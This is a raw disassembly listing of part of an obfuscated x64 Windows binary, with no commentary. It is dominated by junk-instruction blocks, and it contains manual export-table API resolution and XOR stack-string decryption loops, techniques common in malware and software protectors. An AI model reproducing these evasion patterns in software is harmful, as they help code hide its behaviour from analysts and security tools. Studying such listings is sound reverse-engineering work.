popf
pushf
not eax
add eax, 0xda0a8c20
xor eax, 0x996847a0
rol eax, 0x91
popf
pushf
not eax
add eax, 0xfb95d381
xor eax, 0xad8b88d4
rol eax, 0xa
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xcf58356f
pushf
not eax
add eax, 0xfaa5c0b7
xor eax, 0x96fc037c
rol eax, 0xda
popf
pushf
not eax
add eax, 0xe85e0f7e
xor eax, 0xcb1d2574
rol eax, 0x83
popf
pushf
not eax
add eax, 0x8c67b183
xor eax, 0xf8945689
rol eax, 0x5c
popf
jmp 0x1404576a1
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x296e08b4
pushf
not eax
add eax, 0xa801ab1f
xor eax, 0xa6c91829
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xa36e16a7
xor eax, 0xea701fbb
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xeda59b17
xor eax, 0xe64a2f29
rol eax, 0xa
popf
jmp 0x1404576a1
dec r8d
lea rdx, [r9 + r8*4]
mov ecx, dword [rdx + r10]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
mov ebx, 0x14de3933
pushf
not ebx
add ebx, 0xcd8ded00
xor ebx, 0xc8a438a7
rol ebx, 0x81
popf
pushf
not ebx
add ebx, 0xd3b71d0f
xor ebx, 0xd4379e64
rol ebx, 0x30
popf
pushf
not ebx
add ebx, 0x9091b4be
xor ebx, 0xd21618b2
rol ebx, 0x93
popf
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14045c5e6
push rax
pushf
mov eax, 0xcf94db9f
pushf
not eax
add eax, 0xdcc0338b
xor eax, 0x8c6e9bae
rol eax, 0x65
popf
pushf
not eax
add eax, 0xc5cf2e19
xor eax, 0x9d15a318
rol eax, 0x1c
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x95ab02db
pushf
not eax
add eax, 0xa3ad89b9
xor eax, 0xee4ff68b
rol eax, 0x41
popf
pushf
not eax
add eax, 0x86ed3021
xor eax, 0xb5cafba4
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x8bc972e4
xor eax, 0xacbf61e8
rol eax, 0xad
popf
pushf
not eax
add eax, 0xebfe47b5
xor eax, 0xf14a2177
rol eax, 0x69
popf
jmp 0x1404576a1
mov rax, qword [rax]
jmp 0x14045c3a0
mov edx, dword [r11 + 0x1c]
push r9
not r9
sub rdx, r9
pop r9
sub rdx, 1
mov ecx, dword [r11 + 0x24]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
movzx ecx, word [rcx + r8*2]
mov r10d, dword [rdx + rcx*4]
push r9
not r9
sub r10, r9
pop r9
sub r10, 1
movzx eax, word [0x1403cb764]
mov word [rsp + 0x44], ax
movzx eax, byte [0x1403cb766]
mov byte [rsp + 0x44], 0x77
xor byte [rsp + 0x45], 0x39
xor al, 0x3a
mov byte [rsp + 0x46], al
mov eax, dword [str.VLV__n]
mov dword [rbp + 0xc0], eax
cmp byte [0x1403cc17f], 0
je 0x14045c921
push rax
pushf
mov eax, 0x20180e0d
pushf
not eax
add eax, 0x818097e0
xor eax, 0xcd8666dc
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x9ca79735
xor eax, 0x8c4ea845
rol eax, 0x6e
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xfb609c80
pushf
not eax
add eax, 0xd827a034
xor eax, 0xa1460393
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x8288fc0c
xor eax, 0xcafd8b0b
rol eax, 0x39
popf
pushf
not eax
add eax, 0xb5dd0222
xor eax, 0xc534217b
rol eax, 0xa
popf
pushf
not eax
add eax, 0xdfd11073
xor eax, 0xe07410ad
rol eax, 0x16
popf
jmp 0x1404576a1
movdqa xmm3, xmmword [0x1403cc610]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1403cc650]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1403cc650]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403cc660]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc0], xmm2
jmp 0x14045cc33
lea r8, [rbp + 0xc0]
mov ebx, esi
push rax
pushf
mov eax, 0xc359354
pushf
not eax
add eax, 0xf93c5b1a
xor eax, 0xd20f8737
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xd5baa8c7
xor eax, 0xe37c9f86
rol eax, 0xb4
popf
jmp 0x1404576a1
mov eax, 0xda1f37bf
pushf
not eax
add eax, 0xe59a02dd
xor eax, 0x800bedd9
rol eax, 0x23
popf
pushf
not eax
add eax, 0xec93792f
xor eax, 0xca511a50
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x902d0221
xor eax, 0xc9257be1
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd61ebeb0
xor eax, 0x906ca852
rol eax, 0xe6
popf
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
jmp 0x14045cb9c
inc ebx
lea r8, [r8 + 1]
cmp ebx, 4
jl 0x14045cc00
push rax
pushf
mov eax, 0xc25d7e1c
pushf
not eax
add eax, 0xd0237158
xor eax, 0x874865c1
rol eax, 0x90
popf
pushf
not eax
add eax, 0x8adb22ec
xor eax, 0x991b5fff
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xcbc49d39
xor eax, 0xf41b1de9
rol eax, 0x34
popf
pushf
not eax
add eax, 0xc41ab763
xor eax, 0xd2f76ff4
rol eax, 0x42
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xc9bbedff
pushf
not eax
add eax, 0xba7a217b
xor eax, 0xf49ef30d
rol eax, 0x64
popf
pushf
not eax
add eax, 0xda778de2
xor eax, 0x981b8681
rol eax, 0xb0
popf
jmp 0x1404576a1
lea rdx, [rsp + 0x44]
lea rcx, [rbp + 0xc0]
call r10
mov rbx, rax
mov r8, rax
mov edx, 0x930d6ceb
pushf
not edx
add edx, 0xccc3f977
xor edx, 0xaf8c2431
rol edx, 0x73
popf
pushf
not edx
add edx, 0xa2d516fe
xor edx, 0xa5158bf5
rol edx, 0xf5
popf
pushf
not edx
add edx, 0xf179e4ab
xor edx, 0x96ede2b8
rol edx, 0x67
popf
pushf
not edx
add edx, 0x8ce955d6
xor edx, 0xe05f2314
rol edx, 0x35
popf
mov rcx, r15
jmp 0x14045cca5
call qword [fcn.1402cd6c0]
mov rcx, r15
jmp 0x14045ccaf
call qword [fcn.1402caf80]
mov rcx, rbx
jmp 0x14045ccb9
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r12
jmp 0x14045ccc3
call qword [fcn.1402d6ac0]
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], 0
mov ecx, 0x694eb12e
pushf
not ecx
add ecx, 0xc84a9124
xor ecx, 0xe4e54bb6
rol ecx, 0xb4
popf
pushf
not ecx
add ecx, 0xb6f5ab3b
xor ecx, 0xac4e5c17
rol ecx, 0xa7
popf
pushf
not ecx
add ecx, 0xe896e398
xor ecx, 0xbbeb3035
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0xc82ff6c1
xor ecx, 0xd98cbb40
rol ecx, 0x10
popf
mov qword [rbp + 0x1b8], rcx
mov byte [rbp + 0x1a0], 0
mov dword [rsp + 0x48], gethostbyaddr
xor eax, eax
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], rax
mov edx, dword [rbp + 0x28]
mov eax, edx
and al, 0x22
cmp al, 2
je 0x14045cdc4
push rax
pushf
mov eax, 0xc2145644
pushf
not eax
add eax, 0x9b7cd497
xor eax, 0x9b16b3dd
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x90a4f316
xor eax, 0xb1321ab6
rol eax, 3
popf
pushf
not eax
add eax, 0xdaea83df
xor eax, 0x821399a6
rol eax, 0x87
popf
pushf
not eax
add eax, 0x89070201
xor eax, 0xbd70b3cc
rol eax, 0x6b
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xd2babda
pushf
not eax
add eax, 0x944b2546
xor eax, 0xe8d67958
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x96a84530
xor eax, 0x8635dd24
rol eax, 0xee
popf
pushf
not eax
add eax, 0xa57fa704
xor eax, 0xc8b234df
rol eax, 0xf
popf
jmp 0x1404576a1
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x20]
cmovb r8, qword [rbp + 0x20]
sub r8, rdx
jmp 0x14045d0bf
test dl, 4
jne 0x14045cf25
push rax
pushf
mov eax, 0x7fd75712
pushf
not eax
add eax, 0xa74efa45
xor eax, 0xdaed7bd6
rol eax, 0x99
popf
pushf
not eax
add eax, 0x8bf46392
xor eax, 0xc18c2de0
rol eax, 0xf0
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x899845cd
pushf
not eax
add eax, 0xcd65fdfa
xor eax, 0xa33ce402
rol eax, 0x13
popf
pushf
not eax
add eax, 0xfe075147
xor eax, 0xb097ebdf
rol eax, 0x23
popf
pushf
not eax
add eax, 0x9f0414d5
xor eax, 0xfec701aa
rol eax, 0xa2
popf
jmp 0x1404576a1
mov rax, qword [rbp - 0x10]
mov rbx, qword [rax]
test rbx, rbx
je 0x14045cfbd
push rax
pushf
mov eax, 0xf3876352
pushf
not eax
add eax, 0xf74f2a4e
xor eax, 0xabb35434
rol eax, 0xae
popf
pushf
not eax
add eax, 0xdb8e403f
xor eax, 0xa95a9b99
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe84f74ce
xor eax, 0xa65767fc
rol eax, 0x83
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x21520726
pushf
not eax
add eax, 0x949be67b
xor eax, 0xb8002ee8
rol eax, 0xff
popf
pushf
not eax
add eax, 0xbe2b3d24
xor eax, 0xb91244cf
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xe93c97a8
xor eax, 0xdc9f2b50
rol eax, 0xb5
popf
jmp 0x1404576a1
mov rax, qword [rbp - 0x30]
mov rdx, qword [rax]
mov rax, qword [rbp + 8]
movsxd r8, dword [rax]
push rbx
not rbx
sub r8, rbx
pop rbx
sub r8, 1
sub r8, rdx
jmp 0x14045d0bf
test rdx, rdx
je 0x14045d0f7
push rax
pushf
mov eax, 0xd61a19ca
pushf
not eax
add eax, 0x98e0a9e4
xor eax, 0xb1c3f90d
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xff680386
xor eax, 0xba4b43cf
rol eax, 0xbe
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x626724ad
pushf
not eax
add eax, 0xa0a253e0
xor eax, 0xf980a4cc
rol eax, 0x65
popf
pushf
not eax
add eax, 0x800ad6eb
xor eax, 0x889950b2
rol eax, 0x3c
popf
jmp 0x1404576a1
lea rdx, [rbp + 0x1a0]
cmp rcx, 0xf
cmova rdx, qword [rbp + 0x1a0]
mov r8, rdi
mov rcx, rsi
jmp 0x14045d19d
call qword [fcn.1402d6ba0]
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14045d1e3
push rax
pushf
mov eax, 0x1a0558a3
pushf
not eax
add eax, 0x9e88a6c8
xor eax, 0xb0a62f91
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xa3b478ec
xor eax, 0xcee39865
rol eax, 0xd8
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x1bb2008
pushf
not eax
add eax, 0xd4cc5ba5
xor eax, 0xa00dfcc6
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xc753d1fe
xor eax, 0xeedcbb39
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xf2aa239e
xor eax, 0xf5fac0d0
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x94a8a593
xor eax, 0x98ec66e4
rol eax, 0xc6
popf
jmp 0x1404576a1
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14045d298
push rax
pushf
mov eax, 0xff3f1180
pushf
not eax
add eax, 0x945df009
xor eax, 0xa122adae
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x8a1c9025
xor eax, 0xcfeabd99
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xee029931
xor eax, 0xdb6b0edf
rol eax, 0xfc
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x26d1aa5d
pushf
not eax
add eax, 0x86a48d6f
xor eax, 0xb8944544
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xce96c5d2
xor eax, 0xbbe4c161
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xc5ff7fd5
xor eax, 0xbe62886b
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xd6dde551
xor eax, 0xadac9138
rol eax, 0x13
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045d339
push rax
pushf
mov eax, 0x32a60d8d
pushf
not eax
add eax, 0xa2e5d593
xor eax, 0xbeaef3a2
rol eax, 0x50
popf
pushf
not eax
add eax, 0xc820772d
xor eax, 0x8c78a73b
rol eax, 0xfb
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x4869e7a8
pushf
not eax
add eax, 0xb7a93a4b
xor eax, 0xd91b7728
rol eax, 3
popf
pushf
not eax
add eax, 0x90d79d71
xor eax, 0xf7c7ba4c
rol eax, 0x49
popf
pushf
not eax
add eax, 0x8178e703
xor eax, 0x9d1e38b2
rol eax, 0x4f
popf
jmp 0x1404576a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xd99650e6
pushf
not eax
add eax, 0xba2ad360
xor eax, 0x9e180a67
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xb46d05af
xor eax, 0xcc6907a5
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xf28441ae
xor eax, 0xe46c0e28
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xf56fa8d2
xor eax, 0x91cacd15
rol eax, 0xc7
popf
jmp 0x1404576a1
mov rax, qword [0x1403cb6e0]
mov qword [rbp + 0xf8], rax
cmp byte [0x1403cb6e7], 0
je 0x14045d479
push rax
pushf
mov eax, 0xb2512b6a
pushf
not eax
add eax, 0x8a28ee7f
xor eax, 0xf12c35b2
rol eax, 0x95
popf
pushf
not eax
add eax, 0x829efcd2
xor eax, 0xa7643bac
rol eax, 0x86
popf
pushf
not eax
add eax, 0xa06c7227
xor eax, 0xf0e2b244
rol eax, 0x42
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x4b41bc26
pushf
not eax
add eax, 0xffade98c
xor eax, 0xc5a78907
rol eax, 0x87
popf
pushf
not eax
add eax, 0x9b944c2e
xor eax, 0xb3cadb36
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x85d117db
xor eax, 0xbfc2ffba
rol eax, 0x23
popf
jmp 0x1404576a1
cmp r14d, 2
jl 0x14045d4fc
push rax
pushf
mov eax, 0xe852a464
pushf
not eax
add eax, 0xef2813db
xor eax, 0x961d87b6
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xf308394f
xor eax, 0xc2e50514
rol eax, 0x57
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x3b69d58b
pushf
not eax
add eax, 0xde77beb4
xor eax, 0xa2b50ce9
rol eax, 0x56
popf
pushf
not eax
add eax, 0x8433c376
xor eax, 0xda3d2ba9
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xfdb3d0a2
xor eax, 0xcecb3636
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x8f4218b0
xor eax, 0xd0490c83
rol eax, 0xb
popf
jmp 0x1404576a1
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf8]
xorps xmm2, xmm1
movd dword [rbp + 0xf8], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
jmp 0x14045d7ee
lea r8, [rbp + 0xf8]
xor ebx, ebx
nop dword [rax + rax]
push rax
pushf
mov eax, 0x2c73e0ae
pushf
not eax
add eax, 0xdb72131e
xor eax, 0xcd9d43b1
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xb51c3bdf
xor eax, 0x971b895f
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xcbde2179
xor eax, 0xe2e84ed4
rol eax, 0x72
popf
jmp 0x1404576a1
mov eax, 0x18987b1e
pushf
not eax
add eax, 0x90995b80
xor eax, 0xfbd96f9d
rol eax, 0xba
popf
pushf
not eax
add eax, 0xfc3a8152
xor eax, 0xa8aed5f4
rol eax, 0x23
popf
pushf
not eax
add eax, 0xb4813108
xor eax, 0xa4faf3ab
rol eax, 0xd
popf
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
jmp 0x14045d757
inc ebx
lea r8, [r8 + 1]
cmp ebx, 8
jl 0x14045d7a8
push rax
pushf
mov eax, 0x411892c2
pushf
not eax
add eax, 0xcee9577c
xor eax, 0xd2d081df
rol eax, 8
popf
pushf
not eax
add eax, 0xbad3066b
xor eax, 0xfdda218a
rol eax, 0x12
popf
pushf
not eax
add eax, 0x898c642c
xor eax, 0x8387564d
rol eax, 0x1b
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x4f547d7d
pushf
not eax
add eax, 0xf68eacdc
xor eax, 0x90ed58be
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xc3466ffb
xor eax, 0xc94699f7
rol eax, 3
popf
pushf
not eax
add eax, 0xe52049f8
xor eax, 0xd7c53a8d
rol eax, 0x8d
popf
jmp 0x1404576a1
lea rdx, [rbp + 0xf8]
mov rcx, rsi
jmp 0x14045d7f9
call qword [fcn.1402d70b0]
mov rcx, r12
jmp 0x14045d803
call qword [fcn.1402d6ac0]
mov rbx, rax
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
sub r8, rdx
mov rcx, rax
jmp 0x14045d81d
call qword [fcn.1402d6ba0]
movsd xmm0, qword [str.PRDY]
movsd qword [rbp + 0xa8], xmm0
movzx ecx, word [0x1403cbab8]
mov word [rbp + 0xb0], cx
movzx eax, byte [0x1403cbaba]
mov byte [rbp + 0xa8], 0x68
xor byte [rbp + 0xa9], 0x39
xor byte [rbp + 0xaa], 0x3a
xor byte [rbp + 0xab], 0x3b
xor byte [rbp + 0xac], 0x3c
xor byte [rbp + 0xad], 0x3d
xor byte [rbp + 0xae], 0x3e
xor byte [rbp + 0xaf], 0x3f
xor cl, 0x40
mov byte [rbp + 0xb0], cl
xor byte [rbp + 0xb1], 0x41
xor al, 0x42
mov byte [rbp + 0xb2], al
lea rdx, [rbp + 0xa8]
mov rcx, rbx
jmp 0x14045d8a3
call qword [fcn.1402d6ec0]
movsd xmm0, qword [str.QT_Y]
movsd qword [rbp + 0xd0], xmm0
movzx ecx, word [0x1403cb5c8]
mov word [rbp + 0xd8], cx
movzx eax, byte [0x1403cb5ca]
mov byte [rbp + 0xd0], WSAGetLastError
xor byte [rbp + 0xd1], 0x39
xor byte [rbp + 0xd2], 0x3a
xor byte [rbp + 0xd3], 0x3b
xor byte [rbp + 0xd4], 0x3c
xor byte [rbp + 0xd5], 0x3d
xor byte [rbp + 0xd6], 0x3e
xor byte [rbp + 0xd7], 0x3f
xor cl, 0x40
mov byte [rbp + 0xd8], cl
xor byte [rbp + 0xd9], 0x41
xor al, 0x42
mov byte [rbp + 0xda], al
lea rdx, [rbp + 0xd0]
mov rcx, rbx
jmp 0x14045d929
call qword [fcn.1402d7200]
mov eax, dword [str.PV_]
mov dword [rbp + 0xb8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0xb8], 0x66
xor byte [rbp + 0xb9], 0x39
xor byte [rbp + 0xba], 0x3a
xor byte [rbp + 0xbb], 0x3b
xor al, 0x3c
mov byte [rbp + 0xbc], al
lea rdx, [rbp + 0xb8]
mov rcx, rbx
jmp 0x14045d971
call qword [fcn.1402d70b0]
movups xmm0, xmmword [0x1403cab00]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [0x1403cab10]
movups xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [str._f25mefj]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [0x1403cab30]
movups xmmword [rbp + 0x250], xmm1
movups xmm0, xmmword [0x1403cab40]
movups xmmword [rbp + 0x260], xmm0
movsd xmm0, qword [0x1403cab50]
movsd qword [rbp + 0x270], xmm0
movzx eax, byte [0x1403cab58]
mov byte [rbp + 0x278], al
xor ebx, ebx
cmp r14d, 2
jl 0x14045da2c
push rax
pushf
mov eax, 0x2e7a6fef
pushf
not eax
add eax, 0xa7d94885
xor eax, 0xa2b4854f
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xbdfd48a1
xor eax, 0xb8a1d1fc
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xfc3e9264
xor eax, 0xfc789100
rol eax, 0x41
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xead36347
pushf
not eax
add eax, 0xff39a9d5
xor eax, 0xe4796fc6
rol eax, 0x41
popf
pushf
not eax
add eax, 0xdd99d96d
xor eax, 0xae33eab8
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xc06401b1
xor eax, 0x8d9d3adb
rol eax, 0xad
popf
jmp 0x1404576a1
cmp ebx, 0x59
jge 0x14045dc99
push rax
pushf
mov eax, 0xfbd36e9b
pushf
not eax
add eax, 0xe37cfa32
xor eax, 0x9b9f3c18
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xf5e57e10
xor eax, 0xda89f2d1
rol eax, 0x19
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xf02b8078
pushf
not eax
add eax, 0xbb4b2b05
xor eax, 0xbdc67c80
rol eax, 0x12
popf
pushf
not eax
add eax, 0xaea9b779
xor eax, 0x8e45289b
rol eax, 0x16
popf
pushf
not eax
add eax, 0xd43623d9
xor eax, 0xc090b95d
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xecc483d3
xor eax, 0xa2ab6a0e
rol eax, 0x4c
popf
jmp 0x1404576a1
movsxd rax, ebx
lea r8, [rbp + 0x220]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop
push rax
pushf
mov eax, 0x5d93981
pushf
not eax
add eax, 0xf72d7a8a
xor eax, 0xd786abd2
rol eax, 0xde
popf
pushf
not eax
add eax, 0x82f5ce4b
xor eax, 0xd9411385
rol eax, 3
popf
jmp 0x1404576a1
mov eax, 0x45857820
pushf
not eax
add eax, 0xa121fd87
xor eax, 0xf17d159b
rol eax, 0x69
popf
pushf
not eax
add eax, 0xa8ca1855
xor eax, 0xd5e24cf4
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xe1083cd5
xor eax, 0xdce19947
rol eax, 0xce
popf
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
jmp 0x14045dd9d
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x59
jl 0x14045ddee
push rax
pushf
mov eax, 0x31607556
pushf
not eax
add eax, 0xe02bd67d
xor eax, 0x86edbab6
rol eax, 0x29
popf
pushf
not eax
add eax, 0xdf71344d
xor eax, 0xa0049c64
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xba2d1c64
xor eax, 0xe272de03
rol eax, 0xcb
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x829e47cc
pushf
not eax
add eax, 0xc47be331
xor eax, 0xcfc14522
rol eax, 0x38
popf
pushf
not eax
add eax, 0xcaafa7a5
xor eax, 0xbdb1e858
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xd8cff288
xor eax, 0xb3ccc495
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xc3cbcaf3
xor eax, 0x8859dc2f
rol eax, 0x6f
popf
jmp 0x1404576a1
lea r9, [rbp + 0x138]
cmp qword [rbp + 0x150], 0xf
cmova r9, qword [rbp + 0x138]
lea rax, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova rax, qword [rbp + 0x178]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x138]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1a0]
call fcn.14013d850
nop
lea rax, [rbp + 0x220]
mov r8, rdi
push rax
pushf
mov eax, 0x4ff2b78d
pushf
not eax
add eax, 0xe132cbf0
xor eax, 0x928f1324
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xa501c9fe
xor eax, 0x8a028ffd
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc1fdbf5c
xor eax, 0xb9c63f4f
rol eax, 5
popf
jmp 0x1404576a1
inc r8
cmp byte [rax + r8], 0
jne 0x14045e048
push rax
pushf
mov eax, 0x2a602613
pushf
not eax
add eax, 0xdb7d80fb
xor eax, 0xc1279ba2
rol eax, 0x65
popf
pushf
not eax
add eax, 0xb08ed549
xor eax, 0x8b767089
rol eax, 0x22
popf
pushf
not eax
add eax, 0xb2ad1e35
xor eax, 0xf01f50b5
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xf7e4448c
xor eax, 0x805e2896
rol eax, 0x52
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x6f20d02
pushf
not eax
add eax, 0xdb399201
xor eax, 0xcc6db3e8
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x930cafcd
xor eax, 0xdcd96a6d
rol eax, 0x99
popf
pushf
not eax
add eax, 0xa417eab2
xor eax, 0xe2ae36d0
rol eax, 0xac
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045e274
push rax
pushf
mov eax, 0x79f06b48
pushf
not eax
add eax, 0xa23bce51
xor eax, 0xf40ec959
rol eax, 0x86
popf
pushf
not eax
add eax, 0xb277308a
xor eax, 0x9c3f141c
rol eax, 2
popf
pushf
not eax
add eax, 0xccc09553
xor eax, 0xd7f27552
rol eax, 0x81
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x499ec20b
pushf
not eax
add eax, 0x809079d0
xor eax, 0xbb39fc02
rol eax, 0x71
popf
pushf
not eax
add eax, 0x93c82e4a
xor eax, 0x89deb879
rol eax, 9
popf
pushf
not eax
add eax, 0xd6af0d0f
xor eax, 0xec368cd2
rol eax, 0x50
popf
pushf
not eax
add eax, 0x8ca0d100
xor eax, 0x8baeed18
rol eax, 0x9d
popf
jmp 0x1404576a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a0], 0
movups xmm0, xmmword [0x1403cbaf0]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [0x1403cbb00]
movups xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [0x1403cbb10]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [0x1403cbb20]
movups xmmword [rbp + 0x250], xmm1
movups xmm0, xmmword [0x1403cbb30]
movups xmmword [rbp + 0x260], xmm0
movsd xmm0, qword [0x1403cbb40]
